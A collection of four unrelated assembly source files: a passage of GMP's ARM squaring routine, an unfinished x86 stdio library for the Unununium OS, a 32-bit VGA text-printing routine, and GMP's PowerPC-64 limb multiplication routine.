C m_2(0m4) m_2(2m4) m_2(1m4) m_2(3m4)
C | | | |
C | | | |
C | | | |
C \|/ \|/ \|/ \|/
C ____________ ____________
C / \ / \
C \|/ \ \|/ \
C am_2(3m4) am_2(1m4) am_2(0m4) am_2(2m4)
C \ /|\ \ /|\
C \____________/ \____________/
C \ /
C \ /
C \ /
C tail(0m2) tail(1m2)
C \ /
C \ /
C sqr_diag_addlsh1
C TODO
C * Further tweak counter and updates in outer loops. (This could save
C perhaps 5n cycles).
C * Try to use fewer register. Perhaps coalesce r9 branch target and n_saved.
C (This could save 2-3 cycles for n > 4.)
C * Optimise sqr_diag_addlsh1 loop. (This could save O(n) cycles.)
C * Implement larger final corners (xit/tix). Also stop loops earlier
C suppressing writes of upper-most rp[] values. (This could save 10-20
C cycles for n > 4.)
C * Is the branch table really faster than discrete branches?
define(`rp', r0)
define(`up', r1)
define(`n', r2)
define(`v0', r3)
define(`v1', r6)
define(`i', r8)
define(`n_saved', r14)
define(`cya', r11)
define(`cyb', r12)
define(`u0', r7)
define(`u1', r9)
ASM_START()
PROLOGUE(mpn_sqr_basecase)
and r12, n, #3
cmp n, #4
addgt r12, r12, #4
add pc, pc, r12, lsl #2
nop
b L(4)
b L(1)
b L(2)
b L(3)
b L(0m4)
b L(1m4)
b L(2m4)
b L(3m4)
L(1m4): push {r4-r10,r11,r14}
mov n_saved, n
sub i, n, #4
sub n, n, #2
add r10, pc, #L(am2_2m4)-.-8
ldm up, {v0,v1,u0}
sub up, up, #4
mov cyb, #0
mov r5, #0
umull r4, cya, v1, v0
str r4, [rp], #-12
mov r4, #0
b L(ko0)
L(3m4): push {r4-r10,r11,r14}
mov n_saved, n
sub i, n, #4
sub n, n, #2
add r10, pc, #L(am2_0m4)-.-8
ldm up, {v0,v1,u0}
add up, up, #4
mov cyb, #0
mov r5, #0
umull r4, cya, v1, v0
str r4, [rp], #-4
mov r4, #0
b L(ko2)
L(2m4): push {r4-r10,r11,r14}
mov n_saved, n
sub i, n, #4
sub n, n, #2
add r10, pc, #L(am2_3m4)-.-8
ldm up, {v0,v1,u1}
mov cyb, #0
mov r4, #0
umull r5, cya, v1, v0
str r5, [rp], #-8
mov r5, #0
b L(ko1)
L(0m4): push {r4-r10,r11,r14}
mov n_saved, n
sub i, n, #4
sub n, n, #2
add r10, pc, #L(am2_1m4)-.-8
ldm up, {v0,v1,u1}
mov cyb, #0
mov r4, #0
add up, up, #8
umull r5, cya, v1, v0
str r5, [rp, #0]
mov r5, #0
L(top): ldr u0, [up, #4]
umaal r4, cya, u1, v0
str r4, [rp, #4]
mov r4, #0
umaal r5, cyb, u1, v1
L(ko2): ldr u1, [up, #8]
umaal r5, cya, u0, v0
str r5, [rp, #8]
mov r5, #0
umaal r4, cyb, u0, v1
L(ko1): ldr u0, [up, #12]
umaal r4, cya, u1, v0
str r4, [rp, #12]
mov r4, #0
umaal r5, cyb, u1, v1
L(ko0): ldr u1, [up, #16]!
umaal r5, cya, u0, v0
str r5, [rp, #16]!
mov r5, #0
umaal r4, cyb, u0, v1
subs i, i, #4
bhi L(top)
bx r10
L(evnloop):
subs i, n, #4
sub n, n, #2
blt L(tix)
ldm up, {v0,v1,u0}
add up, up, #4
mov cya, #0
mov cyb, #0
ldm rp, {r4,r5}
sub rp, rp, #4
umaal r4, cya, v1, v0
str r4, [rp, #4]
ldr r4, [rp, #12]
b L(lo2)
L(ua2): ldr u0, [up, #4]
umaal r4, cya, u1, v0
str r4, [rp, #4]
ldr r4, [rp, #12]
umaal r5, cyb, u1, v1
L(lo2): ldr u1, [up, #8]
umaal r5, cya, u0, v0
str r5, [rp, #8]
ldr r5, [rp, #16]
umaal r4, cyb, u0, v1
ldr u0, [up, #12]
umaal r4, cya, u1, v0
str r4, [rp, #12]
ldr r4, [rp, #20]
umaal r5, cyb, u1, v1
ldr u1, [up, #16]!
umaal r5, cya, u0, v0
str r5, [rp, #16]!
ldr r5, [rp, #8]
umaal r4, cyb, u0, v1
subs i, i, #4
bhi L(ua2)
L(am2_0m4):
umaal r4, cya, u1, v0
ldr u0, [up, #4]
umaal r5, cyb, u1, v1
str r4, [rp, #4]
umaal r5, cya, u0, v0
umaal cya, cyb, u0, v1
str r5, [rp, #8]
str cya, [rp, #12]
str cyb, [rp, #16]
sub up, up, n, lsl #2
sub rp, rp, n, lsl #2
add up, up, #8
sub i, n, #4
sub n, n, #2
ldm up, {v0,v1,u0}
sub up, up, #4
mov cya, #0
mov cyb, #0
ldr r4, [rp, #24]
ldr r5, [rp, #28]
add rp, rp, #12
umaal r4, cya, v1, v0
str r4, [rp, #12]
ldr r4, [rp, #20]
b L(lo0)
L(ua0): ldr u0, [up, #4]
umaal r4, cya, u1, v0
str r4, [rp, #4]
ldr r4, [rp, #12]
umaal r5, cyb, u1, v1
ldr u1, [up, #8]
umaal r5, cya, u0, v0
str r5, [rp, #8]
ldr r5, [rp, #16]
umaal r4, cyb, u0, v1
ldr u0, [up, #12]
umaal r4, cya, u1, v0
str r4, [rp, #12]
ldr r4, [rp, #20]
umaal r5, cyb, u1, v1
L(lo0): ldr u1, [up, #16]!
umaal r5, cya, u0, v0
str r5, [rp, #16]!
ldr r5, [rp, #8]
umaal r4, cyb, u0, v1
subs i, i, #4
bhi L(ua0)
L(am2_2m4):
umaal r4, cya, u1, v0
ldr u0, [up, #4]
umaal r5, cyb, u1, v1
str r4, [rp, #4]
umaal r5, cya, u0, v0
umaal cya, cyb, u0, v1
str r5, [rp, #8]
str cya, [rp, #12]
str cyb, [rp, #16]
sub up, up, n, lsl #2
sub rp, rp, n, lsl #2
add up, up, #8
add rp, rp, #24
b L(evnloop)
L(oddloop):
subs i, n, #4
sub n, n, #2
blt L(xit)
ldm up, {v0,v1,u1}
mov cya, #0
mov cyb, #0
sub rp, rp, #8
ldr r5, [rp, #8]
ldr r4, [rp, #12]
umaal r5, cya, v1, v0
str r5, [rp, #8]
ldr r5, [rp, #16]
b L(lo1)
L(ua1): ldr u0, [up, #4]
umaal r4, cya, u1, v0
str r4, [rp, #4]
ldr r4, [rp, #12]
umaal r5, cyb, u1, v1
ldr u1, [up, #8]
umaal r5, cya, u0, v0
str r5, [rp, #8]
ldr r5, [rp, #16]
umaal r4, cyb, u0, v1
L(lo1): ldr u0, [up, #12]
umaal r4, cya, u1, v0
str r4, [rp, #12]
ldr r4, [rp, #20]
umaal r5, cyb, u1, v1
ldr u1, [up, #16]!
umaal r5, cya, u0, v0
str r5, [rp, #16]!
ldr r5, [rp, #8]
umaal r4, cyb, u0, v1
subs i, i, #4
bhi L(ua1)
L(am2_3m4):
umaal r4, cya, u1, v0
ldr u0, [up, #4]
umaal r5, cyb, u1, v1
str r4, [rp, #4]
umaal r5, cya, u0, v0
umaal cya, cyb, u0, v1
str r5, [rp, #8]
str cya, [rp, #12]
str cyb, [rp, #16]
sub up, up, n, lsl #2
sub rp, rp, n, lsl #2
add up, up, #8
add rp, rp, #24
subs i, n, #4
sub n, n, #2
ldm up, {v0,v1,u1}
mov cya, #0
mov cyb, #0
ldr r5, [rp, #0]
ldr r4, [rp, #4]
add up, up, #8
umaal r5, cya, v1, v0
str r5, [rp, #0]
ldr r5, [rp, #8]
bls L(e3)
L(ua3): ldr u0, [up, #4]
umaal r4, cya, u1, v0
str r4, [rp, #4]
ldr r4, [rp, #12]
umaal r5, cyb, u1, v1
ldr u1, [up, #8]
umaal r5, cya, u0, v0
str r5, [rp, #8]
ldr r5, [rp, #16]
umaal r4, cyb, u0, v1
ldr u0, [up, #12]
umaal r4, cya, u1, v0
str r4, [rp, #12]
ldr r4, [rp, #20]
umaal r5, cyb, u1, v1
ldr u1, [up, #16]!
umaal r5, cya, u0, v0
str r5, [rp, #16]!
ldr r5, [rp, #8]
umaal r4, cyb, u0, v1
subs i, i, #4
bhi L(ua3)
L(e3):
L(am2_1m4):
umaal r4, cya, u1, v0
ldr u0, [up, #4]
umaal r5, cyb, u1, v1
str r4, [rp, #4]
umaal r5, cya, u0, v0
umaal cya, cyb, u0, v1
str r5, [rp, #8]
str cya, [rp, #12]
str cyb, [rp, #16]
sub up, up, n, lsl #2
sub rp, rp, n, lsl #2
add up, up, #8
add rp, rp, #24
b L(oddloop)
L(xit): ldm up!, {v0,u0}
ldr cya, [rp], #12
mov cyb, #0
umaal cya, cyb, u0, v0
b L(sqr_diag_addlsh1)
L(tix): ldm up!, {v0,v1,u0}
ldm rp, {r4,r5}
mov cya, #0
mov cyb, #0
umaal r4, cya, v1, v0
umaal r5, cya, u0, v0
stm rp, {r4,r5}
umaal cya, cyb, u0, v1
add rp, rp, #20
C b L(sqr_diag_addlsh1)
define(`w0', r6)
define(`w1', r7)
define(`w2', r8)
define(`rbx', r9)
L(sqr_diag_addlsh1):
str cya, [rp, #-12]
str cyb, [rp, #-8]
sub n, n_saved, #1
sub up, up, n_saved, lsl #2
sub rp, rp, n_saved, lsl #3
ldr r3, [up], #4
umull w1, r5, r3, r3
mov w2, #0
mov r10, #0
C cmn r0, #0 C clear cy (already clear by luck)
b L(lm)
L(tsd): adds w0, w0, rbx
adcs w1, w1, r4
str w0, [rp, #0]
L(lm): ldr w0, [rp, #4]
str w1, [rp, #4]
ldr w1, [rp, #8]!
add rbx, r5, w2
adcs w0, w0, w0
ldr r3, [up], #4
adcs w1, w1, w1
adc w2, r10, r10
umull r4, r5, r3, r3
subs n, n, #1
bne L(tsd)
adds w0, w0, rbx
adcs w1, w1, r4
adc w2, r5, w2
stm rp, {w0,w1,w2}
pop {r4-r10,r11,pc}
C Straight line code for n <= 4
L(1): ldr r3, [up, #0]
umull r1, r2, r3, r3
stm rp, {r1,r2}
bx r14
L(2): push {r4-r5}
ldm up, {r5,r12}
umull r1, r2, r5, r5
umull r3, r4, r12, r12
umull r5, r12, r5, r12
adds r5, r5, r5
adcs r12, r12, r12
adc r4, r4, #0
adds r2, r2, r5
adcs r3, r3, r12
adc r4, r4, #0
stm rp, {r1,r2,r3,r4}
pop {r4-r5}
bx r14
L(3): push {r4-r11}
ldm up, {r7,r8,r9}
umull r1, r2, r7, r7
umull r3, r4, r8, r8
umull r5, r6, r9, r9
umull r10, r11, r7, r8
mov r12, #0
umlal r11, r12, r7, r9
mov r7, #0
umlal r12, r7, r8, r9
adds r10, r10, r10
adcs r11, r11, r11
adcs r12, r12, r12
adcs r7, r7, r7
adc r6, r6, #0
adds r2, r2, r10
adcs r3, r3, r11
adcs r4, r4, r12
adcs r5, r5, r7
adc r6, r6, #0
stm rp, {r1,r2,r3,r4,r5,r6}
pop {r4-r11}
bx r14
L(4): push {r4-r11, r14}
ldm up, {r9,r10,r11,r12}
umull r1, r2, r9, r9
umull r3, r4, r10, r10
umull r5, r6, r11, r11
umull r7, r8, r12, r12
stm rp, {r1,r2,r3,r4,r5,r6,r7}
umull r1, r2, r9, r10
mov r3, #0
umlal r2, r3, r9, r11
mov r4, #0
umlal r3, r4, r9, r12
mov r5, #0
umlal r3, r5, r10, r11
umaal r4, r5, r10, r12
mov r6, #0
umlal r5, r6, r11, r12
adds r1, r1, r1
adcs r2, r2, r2
adcs r3, r3, r3
adcs r4, r4, r4
adcs r5, r5, r5
adcs r6, r6, r6
adc r7, r8, #0
add rp, rp, #4
ldm rp, {r8,r9,r10,r11,r12,r14}
adds r1, r1, r8
adcs r2, r2, r9
adcs r3, r3, r10
adcs r4, r4, r11
adcs r5, r5, r12
adcs r6, r6, r14
adc r7, r7, #0
stm rp, {r1,r2,r3,r4,r5,r6,r7}
pop {r4-r11, pc}
EPILOGUE()
|
; Unununium Standard Libs by Lukas Demetz
; STDIO
;
; Description: Provides FS interface to UUU
;
;
; Status: Coding
;
; ToDO:
; --------
; [ ] Finish the functions
; [x] Finish buffering
; [ ] Add all C Defines in stddef.inc
;
;
;
;
%include "struct.def"
%include "define.inc"
%include "fs/fs.inc"
%include "vid/mem.inc"
%include "vid/vfs.inc"
;
%include "fstdio.inc"
; ----------------
; Global Functions
; --------------------
; [Done]
global clearerr ;* ;; void clearerr(FILE *stream)
global fclose ;* ;; int fclose(FILE *stream)
global feof ;* ;; int feof(FILE *stream)
global ferror ;* ;; int ferror(FILE *stream)
global fflush ;* ;; int fflush(FILE *stream)
global fgetpos ;* ;; int fgetpos(FILE *stream, fpos_t *pos)
global fopen ;* ;; FILE *fopen(const char *filename, const char *mode)
global fread ;* ;; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
global freopen ;; FILE *freopen(const char *filename, const char *mode, FILE *stream)
global fseek ;* ;; int fseek(FILE *stream, long int offset, int whence)
global fsetpos ;* ;; int fsetpos(FILE *stream, const fpos_t *pos)
global ftell ;* ;; long int ftell(FILE *stream)
global fwrite ;* ;; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
global remove ;; int remove(const char *filename)
global rename ;; int rename(const char *old_filename, const char *new_filename)
global rewind ;* ;; void rewind(FILE *stream)
global setbuf ;* ;; void setbuf(FILE *stream, char *buffer)
global setvbuf ;* ;; int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
global tmpfile ;; FILE *tmpfile(void)
global tmpnam ;; char *tmpnam(char *str)
; ----------------
; Extern Data
; --------------------
extern stdlib_stdin ; Data of the app we#re running
extern stdlib_stdout
extern stdlib_stderr
extern process_info
section .text
;
;--------------------------------------; Allright, we start here
; GLOBAL FUNCTIONS
clearerr: ;; void clearerr(FILE *stream)
; -------------------------------
; Clears the end-of-file and error indicators for the given stream.
; As long as the error indicator is set, all stream operations will return
; an error until clearerr or rewind is called.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Reset EOF & Error sign
mov dword [ebx+l4u_FileDescr.iserror], 00h
mov dword [ebx+l4u_FileDescr.iseof], 00h
; Step 3: Return 0
xor eax, eax
pop ebx
pop ebp
retn
fclose: ;; int fclose(FILE *stream)
; -------------------------------
; Closes the stream. All buffers are flushed.
; If successful, it returns zero. On error it returns EOF.
;; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
mov ebx, [ebp + 8] ; EBX points to our FileDescr
; ---
call _tool.parsefilepointer ; Check it
call _tool.destruct_l4uFD ; Next Step: Remove our l4u_FileDescr
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
feof: ;; int feof(FILE *stream)
; -------------------------------
; Tests the end-of-file indicator for the given stream. If the stream
; is at the end-of-file, then it returns a nonzero value.
; If it is not at the end of the file, then it returns zero.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Check EOF
mov ebx, dword [ebx+l4u_FileDescr.iseof]
cmp ebx, dword 00h
je .neof
mov ebx, dword EOF
; Step 3: Return
.neof:
mov eax, ebx
pop ebx
pop ebp
retn
ferror: ;; int ferror(FILE *stream)
; -------------------------------
; Tests the error indicator for the given stream. If the
; error indicator is set, then it returns a nonzero value.
; If the error indicator is not set, then it returns zero.
;; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
mov ebx, [ebp + 8]
call _tool.parsefilepointer ; Check it
; Step 2: Check EOF
mov ebx, dword [ebx+l4u_FileDescr.iserror]
cmp ebx, dword 00h
je .nerr
; call _tool.parseerror
mov ebx, -1
; Step 3: Return
.nerr:
mov eax, ebx
pop ebx
pop ebp
retn
fflush: ;; int fflush(FILE *stream)
; Returns zero
xor eax, eax
retn
;
fgetpos: ;; int fgetpos(FILE *stream, fpos_t *pos)
; -------------------------------
; Gets the current file position of the stream and writes it to pos.
; If successful, it returns zero.
; On error it returns a nonzero value and stores the error number in the variable.
; Status: Done
call ftell ; Call ftell (pipe)
push ebp ; -> Returns EAX=position
mov ebp, esp ;
; Result is in eax
mov ebp, dword [ebp+12] ;
cmp eax, dword -1 ;
jne .ok ;
; ---
call _tool.seterr ; Error
pop ebp ;
retn ;
; ---
.ok: ; Ok
mov dword [ebp], eax ; Save *pos
xor eax, eax ; Return 0
;
pop ebp ;
retn ; <done>
;--------------------------------------;
fseek: ;; int fseek(FILE *stream, long int offset, int whence)
; ---------------------------
; Sets the file position of the stream to the given offset.
; The argument offset signifies the number of bytes to seek
; from the given whence position. The argument whence can be:
; SEEK_SET Seeks from the beginning of the file.
; SEEK_CUR Seeks from the current position.
; SEEK_END Seeks from the end of the file.
; On a text stream, whence should be SEEK_SET and offset should
; be either zero or a value returned from ftell.
;
; The end-of-file indicator is reset. The error indicator is NOT reset.
; On success zero is returned. On error a nonzero value is returned.
; Status: Done
push ebp
mov ebp, esp
push ebx
push edx
push esi
; Step 1: Get the param
mov ebx, [ebp + 8] ; FileHandle
mov eax, [ebp + 12] ; Offset
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
;
;-------------------------------;
; ESI = OpTable
; EBX = FIleHandle (UUU)
; EDX:EAX = Size to seek
; Stack+0 = Our FileHandle
;-------------------------------;
;
cmp [ebp + 16], dword SEEK_END
jne .not_end ;
;
mov esi, dword [esi+file_op_table.seek_end]
jmp .continue ;
.not_end: ;
cmp [ebp + 16], dword SEEK_CUR
jne .not_cur ;
mov esi, dword [esi+file_op_table.seek_cur]
jmp .continue ;
.not_cur: ;
mov esi, dword [esi+file_op_table.seek_start]
;
.continue: ;
call [esi] ; Call!
;
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
fsetpos: ;; int fsetpos(FILE *stream, const fpos_t *pos)
; -------------------------------
; Sets the file position of the given stream to the given position.
; The argument pos is a position given by the function fgetpos.
; The end-of-file indicator is cleared.
; On success zero is returned. On error a nonzero value
; is returned and the variable errno is set.
push ebp
mov ebp, esp
push ebx
push edx
push esi
; Step 1: Get the param
mov ebx, [ebp + 8] ; FileHandle
mov eax, [ebp + 12] ; Offset
mov eax, [eax] ; - Get it
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_start]
call [esi]
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
ftell: ;; long int ftell(FILE *stream)
; ;------------------------------
; Returns the current file position of the given stream.
; If it is a binary stream, then the value is the number of bytes from
; the beginning of the file. If it is a text stream, then the value is a
; value useable by the fseek function to return the file position to the current position.
; On success the current file position is returned.
; On error a value of -1 is returned and errno is set.
;
; Status: Done ;
; <start>
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
mov ebx, [ebp + 8] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_cur]
;
mov eax, dword 00h ;
;
;-------------------------------;
; EAX = Amount to read
; ESI = seek_cur position
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call seek_cur
pop ebx ;
jnc .ok ;
call _tool.seterr ; Error? Set errorflag &
mov eax, -1 ; return -1
.ok: ;
;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
fopen: ;; FILE *fopen(const char *filename, const char *mode)
; On success a pointer to the file stream is returned. On failure a null pointer is returned.
; NOTE: Not using mode at all
; Status: Done
push ebp
mov ebp, esp
; Step 1: Get the param
push ebx
push esi
mov ebx, [ebp + 8]
call _tool.parsefilepointer
mov esi, ebx
mov esi, dword [esi+l4u_FileDescr.file_descr]
; Step 2: Try to open the file
externfunc vfs.open
jc .error_vfs
call _tool.create_l4uFD
mov eax, ebx ; Return value
pop esi
pop ebx
pop ebp
retn
.error_vfs:
mov eax, NULL ; Null-pointer
pop esi
pop ebx
pop ebp
retn
fread: ;; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
; --------------------------------
; Reads data from the given stream into the array pointed to by ptr.
; It reads nmemb number of elements of size size. The total number of
; bytes read is (size*nmemb).
; On success the number of elements read is returned. On error or
; end-of-file the total number of elements successfully read (which may be zero)
; is returned.
; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
push edx
push edi
mov ebx, [ebp + 20] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
mov edx, [ebp + 12]
mov eax, [ebp + 16]
mul edx ; < 32 bit only!>
mov ecx, eax ; ECX = Number of bytes to read
mov edi, [ebp + 8] ; EDI = Destination
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.read]
;
;
;-------------------------------;
; ECX = Amount to read
; EDI = Destination
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call read
pop ebx ; (save back our own file_desc)
pop edi
pop edx ;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
fwrite: ;; size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
; -------------------------
; Writes data from the array pointed to by ptr to the given
; stream. It writes nmemb number of elements of size size. The
; total number of bytes written is (size*nmemb).
; On success the number of elements writen is returned. On error
; the total number of elements successfully writen (which may be zero) is returned.
; Status: Done
push ebp ;
mov ebp, esp ;
; ---
; Step 1: Get the param
push ebx ;
push edx
push edi
mov ebx, [ebp + 20] ; EBX points to our FileDescr
call _tool.parsefilepointer ; Check it
mov edx, [ebp + 12]
mov eax, [ebp + 16]
mul edx ; < 32 bit only!>
mov ecx, eax ; ECX = Number of bytes to read
mov esi, [ebp + 8] ; ESI = Source
; ---
push ebx ; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.write]
;
;
;-------------------------------;
; ECX = Amount to read
; ESI = Source
; EBX = File Descriptor for UUU
;-------------------------------;
; ---
call [esi] ; Step 3: Call write
pop ebx ; (save back our own file_desc)
pop edi
pop edx ;
pop ebx ; Cleanup
pop ebp ;
retn ; <done>
;--------------------------------------;
rewind: ;; void rewind(FILE *stream)
; --------------------------
; Sets the file position to the beginning of the
; file of the given stream. The error and end-of-file
; indicators are reset.
push ebp ;
mov ebp, esp ;
push ebx
push edx
push esi
mov ebx, [ebp + 8]
xor edx, edx ;
call _tool.parsefilepointer ; - Check it
clc
call _tool.eof ; Clear EOF
call _tool.clearerr ; Clear Error
; Step 2: Set up our call
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.seek_start]
call [esi]
jc .error ;
xor eax, eax ; Return zero
jmp .done ;
.error: ;
call _tool.seterror ; Set error
;
.done: ; <ends>
pop esi ;
pop edx ;
pop ebx ;
pop ebp ;
retn ;
setbuf: ;; void setbuf(FILE *stream, char *buffer)
; Return nothing
retn
setvbuf: ;; int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
; Return zero
xor eax, eax
retn
;
;-----------------------------------------------;
; Tools
;-----------------------------------------------;
;
_tool:
.parseerror:
; EBX = Errorcode
;Returns in EBX new errorcode (c-Compat)
.seterror:
.seterr:
; EBX = OurHandle
; EAX = Errornumber of UUU (optional)
mov dword [ebx+l4u_FileDescr.iserror], 01h
retn
.clearerr:
; EBX = Ourhandle
mov dword [ebx+l4u_FileDescr.iserror], 00h
retn
.eof:
; EBX = OurHandle
; CF -> set, otherwise unset
jc .eof_set
mov dword [ebx+l4u_FileDescr.iseof], 00h
retn
.eof_set:
mov dword [ebx+l4u_FileDescr.iseof], 01h
retn
.parsefilepointer: ; Includes check for STDIN/STDOUT/STDERR
; EBX = Value given by C app
; out = Corresponding l4u_FileDescr
; Status: Done
cmp ebx, STDIN
jne .next1
mov ebx, [stdin]
jmp .done
.next1:
cmp ebx, STDOUT
jne .next2
mov ebx, [stdout]
jmp .done
.next2:
cmp ebx, STDERR
jne .next3
mov ebx, [stderr]
jmp .done
.next3:
cmp ebx, NULL
jne .other_file
jmp short $ ; <TODO>
.other_file:
.done:
retn
.create_l4uFD:
; EBX = File_Descriptor location ; Creates our own struct
; out EBX = l4u_FileDescr
push ecx
mov ecx, l4u_FileDescr_size
call _tool.malloc
; Fill up now
mov dword [ecx+l4u_FileDescr.lasterror], 00h
mov dword [ecx+l4u_FileDescr.iserror], 00h
mov dword [ecx+l4u_FileDescr.iseof], 00h
mov dword [ecx+l4u_FileDescr.cur_pos], 00h
mov dword [ecx+l4u_FileDescr.file_descr], ebx
mov ebx, ecx
pop ecx
retn
.destruct_l4uFD:
; EBX = File_Descriptor location ; Kill our own struct
; (perhaps more to come when buffering is here)
push ebx
push esi
xor eax, eax
mov ebx, dword [ebx+l4u_FileDescr.file_descr]
mov esi, dword [ebx+file_descriptor.op_table]
mov esi, dword [esi+file_op_table.close]
;
call [esi] ; Call UUU!
pop ebx
;
jnc .ok ;
call _tool.seterr ; Error? Set errorflag &
mov eax, -1 ; return -1
.ok: ;
;
;-------------------------------;
; EBX = Our Handle
;-------------------------------;
;
call _tool.dealloc ; Dealloc our struct
pop esi
retn
.malloc:
; ECX = Size needed
; out ECX = Address
pushad
externfunc mem.alloc
jc .malloc_err
mov ecx, esi
popad
retn
.malloc_err:
stc
popad
jmp $ ; HangMeUp <TODO>
retn
.dealloc:
; EBX = Address
pushad
mov eax, ebx
externfunc mem.dealloc
jc .DEalloc_err
popad
retn
.DEalloc_err:
stc
popad
jmp $ ; HangMeUp <TODO>
retn
;
;-----------------------------------------------;
; Init
;-----------------------------------------------;
;
global _init_stdio ;
_init_stdio: ; We need to set up STDIN/STDOUT properly
push ebx ; in l4u_FileDescr format.
; ---
mov ebx, dword [stdlib_stdin] ; Set up STDIN
call _tool.create_l4uFD ;
mov dword [stdin], ebx ;
; ---
mov ebx, dword [stdlib_stdout] ; Set up STDOUT
call _tool.create_l4uFD ;
mov dword [stdout], ebx ;
; ---
mov ebx, dword [stdlib_stderr] ; Set up STDERR
call _tool.create_l4uFD ;
mov dword [stderr], ebx ;
; ---
pop ebx ; Clean the stack
retn ;
; > DONE <
;-----------------------------------------------;
; Cleanup
;-----------------------------------------------;
;
global _cleanup_stdio ;
_cleanup_stdio: ; Need to release allocated memory for
push eax ; STDIN/STDOUT/STDERR
; <ToDO>: Buffering cleanup
;
mov eax,[stdin] ; Cleanup our STDIN stuff
externfunc mem.dealloc ;
mov eax,[stdout] ; Cleanup our STDOUT stuff
externfunc mem.dealloc ;
mov eax,[stderr] ; Cleanup our STDERR stuff
externfunc mem.dealloc ;
; ---
pop eax ; Clean the stack
retn ;
; > DONE <
;
;-----------------------------------------------; ============== CODE ENDS =================
; DATA
;-----------------------------------------------;
stdin: dd 0 ; STDIN pointer (our format; l4u_FileDescr)
stdout: dd 0 ; STDOUT pointer (our format; l4u_FileDescr)
stderr: dd 0 ; STDERR pointer (our format; l4u_FileDescr)
;
;
;
;-------
;-------
;---------------
;------------------------------------------------------------------------------
;
; Copyright (c) 2002 Lukas Demetz
; All Rights reserved!
;
;------------------------------------------------------------------------------ |
; vim: set ft=nasm
bits 32
; Define some constants
VIDEO_MEMORY equ 0xb8000
WHITE_ON_BLACK equ 0x0f
; Prints a null-terminated string pointed to by EBX.
print32:
pusha
mov edx, VIDEO_MEMORY ; Set edx to the start of vid mem.
.string_loop:
mov al, [ebx] ; Store the char at EBX in AL.
mov ah, WHITE_ON_BLACK ; Store the attributes in AH.
cmp al, 0 ; if ( al == 0), at end of string, we are done.
je .string_done
mov [edx], ax ; Store char and attributes at current character cell.
add ebx, 1 ; Increment EBX to the next char in string.
add edx, 2 ; Move to next character cell in vid mem.
jmp .string_loop ; loop around to print the next char.
.string_done:
popa
ret
|
dnl PowerPC-64 mpn_mul_1 -- Multiply a limb vector with a limb and store
dnl the result in a second limb vector.
dnl Copyright 1999, 2000, 2001 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published by
dnl the Free Software Foundation; either version 2.1 of the License, or (at your
dnl option) any later version.
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write
dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
dnl Boston, MA 02110-1301, USA.
include(`../config.m4')
C INPUT PARAMETERS
C res_ptr r3
C s1_ptr r4
C size r5
C s2_limb r6
C cy_limb r7
C PPC630: 6 to 18 cycles/limb, depending on multiplier. This cannot be
C improved unless floating-point operations are used instead of the slow
C mulld/mulhdu.
ASM_START()
PROLOGUE(mpn_mul_1)
li r7,0 C cy_limb = 0
PROLOGUE(mpn_mul_1c)
mtctr r5
addic r0,r0,0
addi r3, r3, -8
addi r4, r4, -8
L(top): ldu r0,8(r4)
mulld r9,r0,r6
adde r9,r9,r7
mulhdu r7,r0,r6
stdu r9,8(r3)
bdnz L(top)
addze r3,r7
blr
EPILOGUE(mpn_mul_1)
